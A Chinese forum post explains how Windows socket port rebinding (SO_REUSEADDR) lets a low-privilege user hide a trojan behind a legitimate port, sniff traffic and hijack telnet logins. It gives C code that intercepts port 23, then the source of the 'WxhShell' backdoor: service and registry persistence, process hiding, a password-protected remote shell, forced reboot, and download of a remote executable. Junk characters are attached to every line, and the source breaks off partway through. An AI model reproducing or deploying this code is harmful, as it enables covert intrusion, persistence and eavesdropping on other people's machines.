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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1! j^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (zPsA  
_Tf %<E  
  saddr.sin_family = AF_INET; )gx*;z@  
t*`G@Nj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $0cE iq?Hf  
gj7'4 3 ?W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R2==<"gq  
[{0/'+;9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '=H3Y_{oO  
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  这意味着什么?意味着可以进行如下的攻击: 0h kZ  
+y_V$q$G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 usNq]  
TyvUdU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \=[38?QOY  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y(*5qa<>  
wHZ(=z/q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V`0Y p  
J vl-=~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NxzAlu  
RT2&^9-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8 .&P4u i  
*'BI=* `  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )h]tKYx  
f[*g8p  
  #include vl!o^_70(  
  #include cR&d=+R&  
  #include 5Z(q|nn7P  
  #include    >CqZ75>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "^ aSONz  
  int main() 5k c?:U&  
  { p m<K6I  
  WORD wVersionRequested; ]D^zTl3=q  
  DWORD ret; ^U^K\rq 1u  
  WSADATA wsaData; Bw<$fT`  
  BOOL val; /GO((v+J  
  SOCKADDR_IN saddr; K#N5S]2yb  
  SOCKADDR_IN scaddr; -%Jm-^F I  
  int err; 5! ]T%.rM  
  SOCKET s; P  V9q=  
  SOCKET sc; r!^VCA  
  int caddsize; ?'>[n m  
  HANDLE mt; ti<;>P[4  
  DWORD tid;   AHT(Z~ C  
  wVersionRequested = MAKEWORD( 2, 2 ); b%X<'8 z9Z  
  err = WSAStartup( wVersionRequested, &wsaData ); #bb$Icmtk  
  if ( err != 0 ) { rW)}$|-Z  
  printf("error!WSAStartup failed!\n"); PKev)M;C+  
  return -1; uZP( -}  
  } Qqd+=mgc  
  saddr.sin_family = AF_INET; /GA-1cS_(  
   5r0Sl89J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !MOcF5M  
Q@s G6 iz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {\ VmNnw  
  saddr.sin_port = htons(23); /AIFgsaY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?U,XyxN  
  { yn2k!2]&T<  
  printf("error!socket failed!\n"); m~@Lt~LZs  
  return -1; G&yF9s)Lvs  
  } YCBUc<)  
  val = TRUE; >qdRqy)DC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r2&/Ii+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RRtOBrIedI  
  { kqCUr|M.P  
  printf("error!setsockopt failed!\n"); >BjZ{7?Ok  
  return -1; /b{Ufo3v  
  } s="cg0PD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?`B6I!S0[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PkK#HD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jYh.$g<`0+  
QjsN7h&%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LfsOGC  
  { b~+\\,q}  
  ret=GetLastError(); 2!a~YT  
  printf("error!bind failed!\n"); \qbEC.-K  
  return -1; r+n hm"9  
  } =V^8RlBi  
  listen(s,2); 0[s<!k9=  
  while(1) ibgF,N  
  { z.:IUm{z  
  caddsize = sizeof(scaddr); "'c =(P  
  //接受连接请求 sv*xO7D.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g1q%b%8T  
  if(sc!=INVALID_SOCKET) rgu7g  
  { n{E + r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1gH>B5`  
  if(mt==NULL) >&|/4`HSB  
  { oX-h7;SD  
  printf("Thread Creat Failed!\n"); {Yt i  
  break; IUy5=Sl   
  } 5{#ya 2  
  } ~ [=2d a  
  CloseHandle(mt); \fC}l Ll  
  } .7H* F9  
  closesocket(s); YifTC-Q;  
  WSACleanup(); c6HH%|  
  return 0; [u8JqX  
  }   V[">SiOg  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1L.yh U\  
  { -GL-&^3IjH  
  SOCKET ss = (SOCKET)lpParam; f>+:UGmP  
  SOCKET sc; n 4EZy<~m  
  unsigned char buf[4096]; zj'uKBDl  
  SOCKADDR_IN saddr; K/LoHWy+n*  
  long num; jF%l\$)/  
  DWORD val; Jz)c|8U  
  DWORD ret; `L "{sW6S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y.8mgy>   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mr`EcO0  
  saddr.sin_family = AF_INET; zC$(/nZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a~;`&Uj  
  saddr.sin_port = htons(23); xwrleB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r/6h}  
  { tJ9`Ys  
  printf("error!socket failed!\n"); >l!DW i6  
  return -1; 2<+9lk  
  } 2a:JtJLl  
  val = 100; CFx$r_!~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Og<UW^VR  
  { MXuiQ;./  
  ret = GetLastError(); s& WHKCb  
  return -1; 9@z"~H  
  } TWJ%? /d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?1MaA  
  { #3Jn_Y%P.  
  ret = GetLastError(); 4O3-PU>N  
  return -1; gR) )K)  
  } 54, (;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n>I NJ  
  { [ f`V_1d3  
  printf("error!socket connect failed!\n"); "npLl]XM  
  closesocket(sc); VBI~U?0  
  closesocket(ss); b$'}IWNV  
  return -1; a(`@u&]WZ  
  } J;7O`5J  
  while(1) mGqT_   
  { fRd^@@,[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v/WvT!6V`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Gd%E337d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~!W{C_*N  
  num = recv(ss,buf,4096,0); _8"%nV  
  if(num>0) AIFI@#3  
  send(sc,buf,num,0); 6'qC *r   
  else if(num==0) m%km@G$  
  break; >~k"C,6  
  num = recv(sc,buf,4096,0); YV>]c9!q  
  if(num>0) X Sw0t8  
  send(ss,buf,num,0); 2N:|BO>  
  else if(num==0) cp>1b8l6?  
  break; Q'S"$^~{  
  } k\a&4v  
  closesocket(ss); JA~v:ec  
  closesocket(sc); X,8 ]g.<  
  return 0 ; :;]iUjiC8  
  } lZ9rB^!  
P>3 ;M'KsO  
/a!M6:,pX  
========================================================== 0? QTi(  
nB1[OB{  
下边附上一个代码,,WXhSHELL [q{[Avqf  
UMbM3m=\  
========================================================== L) ]|\|  
mxJ& IV  
#include "stdafx.h" f?A1=lm~  
|[}!E/7>b  
#include <stdio.h> yk| < P\  
#include <string.h> ? @Y'_f  
#include <windows.h> <wZ2S3RNA  
#include <winsock2.h> N3J;_=<4  
#include <winsvc.h> |B;tv#mKD  
#include <urlmon.h> Ma,2_oq+  
]V K%6PQ0  
#pragma comment (lib, "Ws2_32.lib") usR: -1{  
#pragma comment (lib, "urlmon.lib") e1 j3X\ \  
u 6(O;  
#define MAX_USER   100 // 最大客户端连接数 (}u2) 9  
#define BUF_SOCK   200 // sock buffer ]l WEdf+  
#define KEY_BUFF   255 // 输入 buffer vC9Qe ]f  
$ RDwy)9  
#define REBOOT     0   // 重启 x2bKFJ>e@  
#define SHUTDOWN   1   // 关机 ;NHZD  
!w8t`Z['  
#define DEF_PORT   5000 // 监听端口 T!*lTzNHm  
6RLYpQ$+  
#define REG_LEN     16   // 注册表键长度 S3iXG @  
#define SVC_LEN     80   // NT服务名长度 ~S,R`wo  
/RzL,~]  
// 从dll定义API ? 2#MU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |99/?T-QW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eZMDtB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V6C*d:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [Grd?mc#  
%|:Gn)8  
// wxhshell配置信息 OJGEX}3'  
struct WSCFG { D 1Q@4  g  
  int ws_port;         // 监听端口 TUQ+?[  
  char ws_passstr[REG_LEN]; // 口令 #Jo#[-r  
  int ws_autoins;       // 安装标记, 1=yes 0=no NM;0@ o  
  char ws_regname[REG_LEN]; // 注册表键名 ;ctJ9"_g  
  char ws_svcname[REG_LEN]; // 服务名 1webk;IM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ST#MCh-00  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 + S^OzCGk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 xUw}T6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O#g'4 S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U$fh ~w<[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  TM1isZ  
M6 W {mek  
}; qBKRm0<W  
+EZ Lic  
// default Wxhshell configuration SCCBTpmf2B  
struct WSCFG wscfg={DEF_PORT, d@a FW  
    "xuhuanlingzhe", GEdWpYKS-`  
    1, Sd !!1a s  
    "Wxhshell", #JFTD[1  
    "Wxhshell", PtUea  
            "WxhShell Service", `*J;4Ju@  
    "Wrsky Windows CmdShell Service", \<}4D\qz  
    "Please Input Your Password: ", v\3:R,|'  
  1, arR9uxP  
  "http://www.wrsky.com/wxhshell.exe", _R,VNk  
  "Wxhshell.exe" Pd<s#  
    }; &p)]Cl/`  
BB?vc( d  
// 消息定义模块 *ydkx\pT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7<<-\7`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5,I|beM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [\ M$a|K  
char *msg_ws_ext="\n\rExit."; $?.0>0 ,<  
char *msg_ws_end="\n\rQuit."; yM *-e m  
char *msg_ws_boot="\n\rReboot..."; @%7IZg;P6  
char *msg_ws_poff="\n\rShutdown..."; H\Y5Fd9)  
char *msg_ws_down="\n\rSave to "; ?*36&Iq}  
^u? #fLr  
char *msg_ws_err="\n\rErr!"; []'gIF  
char *msg_ws_ok="\n\rOK!"; Q M#1XbT  
qgT~yDm  
char ExeFile[MAX_PATH]; Aj854 L(!  
int nUser = 0; 6`>WO_<z  
HANDLE handles[MAX_USER]; o7/S'Haxc]  
int OsIsNt; E<j}"W$a  
TY(B]Q_o  
SERVICE_STATUS       serviceStatus; raWs6b4Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^PnXnH?  
r\OunGUP  
// 函数声明 WIe7>wkC  
int Install(void); n9 LTrhLqp  
int Uninstall(void); :!SVpCt3  
int DownloadFile(char *sURL, SOCKET wsh); Wchu-]  
int Boot(int flag); toq/G,N Q  
void HideProc(void); LH=gNFgzt  
int GetOsVer(void); #DBg8  
int Wxhshell(SOCKET wsl); [Eeanl&x>  
void TalkWithClient(void *cs); rd*`8B  
int CmdShell(SOCKET sock); 8T7ex(w  
int StartFromService(void); +VJS/  
int StartWxhshell(LPSTR lpCmdLine); ! :[`>=!  
:bh#,]'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J**-q(>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FeW}tKH  
@%(Vi!Cv"R  
// 数据结构和表定义 n{d0}N =  
SERVICE_TABLE_ENTRY DispatchTable[] = E [:eMJR  
{ zTgY=fuz  
{wscfg.ws_svcname, NTServiceMain}, j20/Q)=h  
{NULL, NULL} KASuSg+  
}; +-DF3(  
skd3E4  
// 自我安装 Q[j'FtP%  
int Install(void) e -!6m #0  
{ scf.> K2  
  char svExeFile[MAX_PATH]; (E{>L).~  
  HKEY key; WH>=*\  
  strcpy(svExeFile,ExeFile); (Dy6I;S  
>@b]t,rrK  
// 如果是win9x系统,修改注册表设为自启动 9H~2 iW,Q;  
if(!OsIsNt) { B]KR*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {iGy@?d)zt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Uq;>  
  RegCloseKey(key); -YDA,.Ic?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 #m,TOp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); InO;DA\  
  RegCloseKey(key); !"v[\||1  
  return 0;  Re=()M  
    } Wq5 }SM  
  } k? <.yr1  
} [@VM'@e7  
else { _Sq*m=  
?/M:  
// 如果是NT以上系统,安装为系统服务 K nl`[Nl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T*Dd% f  
if (schSCManager!=0) * ~D|M  
{ og`rsl  
  SC_HANDLE schService = CreateService 3WVH8Sb  
  ( 8a,uM :  
  schSCManager, 9QQiIi$74U  
  wscfg.ws_svcname, lm;Dy*|<  
  wscfg.ws_svcdisp, H*m3i;"4p\  
  SERVICE_ALL_ACCESS, ~+A(zlYr~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -wh?9 ?W  
  SERVICE_AUTO_START, h SeXxSb:  
  SERVICE_ERROR_NORMAL, ?*zDsQ  
  svExeFile, R)@2={fd}  
  NULL, :F |ll?  
  NULL, xU1_L*tu '  
  NULL, |)+s,LT5  
  NULL, tJM#/yT  
  NULL =bBV A0y  
  ); "t.Jv%0=  
  if (schService!=0) !K8Kw W|X  
  { wD\viu q0  
  CloseServiceHandle(schService); |erG cKk  
  CloseServiceHandle(schSCManager); yTxrbE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vktc  
  strcat(svExeFile,wscfg.ws_svcname); jIL+^{K<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &KYPi'C9!z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (# c|San  
  RegCloseKey(key); &G|^{!p/G  
  return 0; .E:3I!dH7  
    } gW5yLb_Vz$  
  } #n7F7X  
  CloseServiceHandle(schSCManager); zA>LrtyK(=  
} EED0U?  
} :>|dE%/e$  
`j1b5&N;7  
return 1;  0"F|)  
} @*9c2\"k  
6MD9DqD  
// 自我卸载 Ao U Pq  
int Uninstall(void) &-$27  
{ 4,P(w+  
  HKEY key; 7D KTd^^M  
83adnm  
if(!OsIsNt) { +SB>>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :R-_EY$k6  
  RegDeleteValue(key,wscfg.ws_regname); Q}: $F{  
  RegCloseKey(key); ]vflx^<?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xZ]QT3U+  
  RegDeleteValue(key,wscfg.ws_regname); +n%d,Pz  
  RegCloseKey(key); k-N}tk/5  
  return 0; y;if+  
  } ,Y4>$:#n/  
} &7 K=  
} Vb8Qh601  
else { &z]x\4#,  
H%bc.c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oj(st{,  
if (schSCManager!=0) ;u-[%(00S  
{ 2<T/N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LPeVr^  
  if (schService!=0) -N'wKT5  
  { A>ve|us$  
  if(DeleteService(schService)!=0) { l*$~Y0  
  CloseServiceHandle(schService); .(&w/jR  
  CloseServiceHandle(schSCManager); FVxORQI  
  return 0; T)I\?hqTB  
  } 2lCgUe)N  
  CloseServiceHandle(schService); WfXwI 'y  
  } G=F_{z\}  
  CloseServiceHandle(schSCManager); SajG67  
} L)n_  Q  
} | .gE9'"bv  
``-pjD(t  
return 1; 0j!xv(1  
} A"O\u=!  
K))P 2ss  
// 从指定url下载文件 mKqXB\<  
int DownloadFile(char *sURL, SOCKET wsh) ^;9<7 h[l  
{ %L|xmx!c  
  HRESULT hr; 6)PnzeYW  
char seps[]= "/"; vqAEF^HYry  
char *token; ;X N Ahg7  
char *file; rb*0YCi  
char myURL[MAX_PATH]; @6 a'p  
char myFILE[MAX_PATH]; :}R,a=N  
y=aWSb2y'  
strcpy(myURL,sURL); e*y l_iW  
  token=strtok(myURL,seps); FHSFH>  
  while(token!=NULL) t2iQ[`/?~  
  { ~"\WV4}`v  
    file=token; #~m 8zG  
  token=strtok(NULL,seps); |)C #  
  } H _JE)a:+  
gBO,  
GetCurrentDirectory(MAX_PATH,myFILE); N^M6*,F,J  
strcat(myFILE, "\\"); EOZ 6F-':  
strcat(myFILE, file); :-WNw n  
  send(wsh,myFILE,strlen(myFILE),0); g=KvCqJN  
send(wsh,"...",3,0); W ' ~s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WD_{bd)  
  if(hr==S_OK) yEos$/*u-N  
return 0; |~ytAyw  
else dC;&X g`  
return 1; ts% n tnvI  
&Dt=[yqeG  
} I4|"Ztw  
C23p1%#1  
// 系统电源模块 Vh1y]#w  
int Boot(int flag) C}|.z  
{ %{7*o5`  
  HANDLE hToken; !C|Z+w9Y  
  TOKEN_PRIVILEGES tkp; !RPE-S  
Vc;g$Xr[  
  if(OsIsNt) { VC0Tqk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  "UreV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ke:WlDf  
    tkp.PrivilegeCount = 1; KLW>O_+   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +_kA&Q(t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V7}'g6X  
if(flag==REBOOT) { T`MM<+^G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *p=enflU  
  return 0; M7T*J>i  
} }]#z0'Aqsu  
else { k<P`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g\?v 5  
  return 0; /CH]'u^j  
} a0+q^*\d\R  
  } f_$hK9I  
  else { x[$KZGK+GL  
if(flag==REBOOT) { a6gPJF[Jo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m+(g.mvK>  
  return 0; vQp'bRR  
} Zoc4@% n  
else { 4x&Dz0[[S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <;yS&8  
  return 0; QVJpX;u  
} Q"D5D rj  
} '&hd^9]Lo  
d"IZt;s/,  
return 1; A'rd1"K  
} O$;#GpR  
`d^Q!QxE  
// win9x进程隐藏模块 |5%T)  
void HideProc(void) by0K:*C  
{ x`FTy&g  
+ kT ]qH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pdR\Ne0P*  
  if ( hKernel != NULL ) G[JWG  
  { W!R0:-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :<bhQY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |O6/p7+.  
    FreeLibrary(hKernel); M)!"R [V  
  } $./aK J1B  
9r+'DX?>  
return; Ww60-d}}Q  
} (sQXfeMz  
:*&c'  
// 获取操作系统版本 `"[qb ?z  
int GetOsVer(void) ,`RX~ H=C  
{ n?$c"}  
  OSVERSIONINFO winfo; c_S~{a44Ud  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #;~HoOK*#  
  GetVersionEx(&winfo); dt@c,McN|Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EPH n"YK  
  return 1; +or<(%o @  
  else OJ"./*H  
  return 0; e ><0crb  
} 7l$ u.[  
9unRMvE u  
// 客户端句柄模块 i!}6FB Z  
int Wxhshell(SOCKET wsl) d5>&, {o7N  
{ 1KrJS(.  
  SOCKET wsh; 8#lq:  
  struct sockaddr_in client; 3~bB2APk  
  DWORD myID; WA,D=)GP  
gSw4\R  
  while(nUser<MAX_USER) Ex zB{ "  
{ "^6Fh"]  
  int nSize=sizeof(client); O1c:X7lHc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HV)aVkr/&  
  if(wsh==INVALID_SOCKET) return 1; &z1U0uk  
pZlsDM/=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J,)ytw]  
if(handles[nUser]==0) O^=+"O]  
  closesocket(wsh); 2aCf?l(  
else jk&xzJH.  
  nUser++; gN />y1{a  
  } wEM=Tr/h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YPI,u7-  
qe#5;#  
  return 0; GJZjQH-#P  
} #+l`tj4b/  
ZSK_Lux>  
// 关闭 socket c'tQA  
void CloseIt(SOCKET wsh) #:0-t!<0C  
{ ;veD?|  
closesocket(wsh); m{=Q88k!@.  
nUser--; oRSA&h Ss  
ExitThread(0); ZHN'j] ?  
} AK,'KO%{=  
~?Ky{jah:^  
// 客户端请求句柄 cjPXrDl{\  
void TalkWithClient(void *cs) z,ERq,g+L  
{ YmaS,Q-  
PIa!N Py  
  SOCKET wsh=(SOCKET)cs; ;10YG6:  
  char pwd[SVC_LEN]; m!Z<\2OP  
  char cmd[KEY_BUFF]; O 1z0dHa  
char chr[1]; 4>0q0}J=5  
int i,j; 0=3)`v{S@  
X>=`l)ZR  
  while (nUser < MAX_USER) { p__wBUB  
pg4pfi^__V  
if(wscfg.ws_passstr) { G2kU_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M)+pH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^_|kEvk0  
  //ZeroMemory(pwd,KEY_BUFF); y`buY+5l  
      i=0; =/46;844T  
  while(i<SVC_LEN) { vuPNru" 2  
W6i{ yne W  
  // 设置超时 C h>F11kC  
  fd_set FdRead; NT*r7_e  
  struct timeval TimeOut; Kus=.(  
  FD_ZERO(&FdRead); $\h-F8|JMX  
  FD_SET(wsh,&FdRead); 0GrM:Lh y  
  TimeOut.tv_sec=8; Y PI)^ }  
  TimeOut.tv_usec=0; c**&,aL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y0mNDze  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RSym9t90t  
UTyV6~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hk4t #Km  
  pwd=chr[0]; &;d N:F;  
  if(chr[0]==0xd || chr[0]==0xa) { gx9Os2Z|3  
  pwd=0; :}v-+eIQ  
  break; ;C$+8%P4  
  } i>YQ<A1  
  i++; D;V[9E=g/  
    } NUltuM  
dJ6fPB|k  
  // 如果是非法用户,关闭 socket 0,t%us/q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X>o9mW  
}  rvd $4l^  
%/ y=_G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~h@@y5<4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]q%r2 (y,k  
f<@!{y 2Xe  
while(1) { ^-~JkW'z  
? x #K:a?  
  ZeroMemory(cmd,KEY_BUFF); ~< bpdI0  
H\ejW@< ;h  
      // 自动支持客户端 telnet标准   mfQ#n!{ZH  
  j=0; vNGE]+QX  
  while(j<KEY_BUFF) { !Rl|o^Vw>{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D:/ n2_  
  cmd[j]=chr[0]; gfg,V.:  
  if(chr[0]==0xa || chr[0]==0xd) { fx_#3=bXi  
  cmd[j]=0; ,\\ba_*z  
  break; ~Xxmj!nOf  
  } #%p44%W  
  j++; 2P"9m  
    } <(lA CH  
=WY'n l'  
  // 下载文件 1z-.e$&z  
  if(strstr(cmd,"http://")) { o?Hfxp0}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +;q\7*  
  if(DownloadFile(cmd,wsh)) Res U5Ce~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ Ncbo#G  
  else j1K3|E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l:V R8g[  
  } F(HfXY3  
  else { >s{I@#9  
D9oNYF-V  
    switch(cmd[0]) { tbRW6  
  V|MGG  
  // 帮助 ={:a N)  
  case '?': { .Ix3wR9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X=$Jp.  
    break; _AX 9 Mu]  
  } 'V:Q :  
  // 安装 /88s~=  
  case 'i': { 6^"QABc  
    if(Install()) crM5&L9zF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FbE/x$;~O  
    else u-TT;k'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JnBUW"  
    break; SN{+ Pk  
    } &$~fz":1!  
  // 卸载 C 5.3[  
  case 'r': { lhN@ ,q  
    if(Uninstall()) V*4Z.3/E5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &F&`y  
    else Ht Fr(g\"$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uDDa >Ka#+  
    break; Ap dXsL  
    } EU?qLj':  
  // 显示 wxhshell 所在路径 {[o NUzcd  
  case 'p': { ff#7}9_mh  
    char svExeFile[MAX_PATH]; \Z]+j@9  
    strcpy(svExeFile,"\n\r"); X8|H5Y:  
      strcat(svExeFile,ExeFile); `>:5[Y  
        send(wsh,svExeFile,strlen(svExeFile),0); <,]:jgX  
    break; JtL> mH  
    } t}q e_c  
  // 重启 ZLkl:'E_  
  case 'b': { p27Dc wov  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )O1]|r7v  
    if(Boot(REBOOT)) i1 E|lp)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #aP#r4$  
    else { 4 mX(.6  
    closesocket(wsh); _gT65G~z  
    ExitThread(0); '$tCAS  
    } jdxHWkQ   
    break; TrjyU  
    } =A"Abmx|  
  // 关机 \H] |5fp*  
  case 'd': { bwsKdh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >f]/VaMH{  
    if(Boot(SHUTDOWN)) RaJTya^  
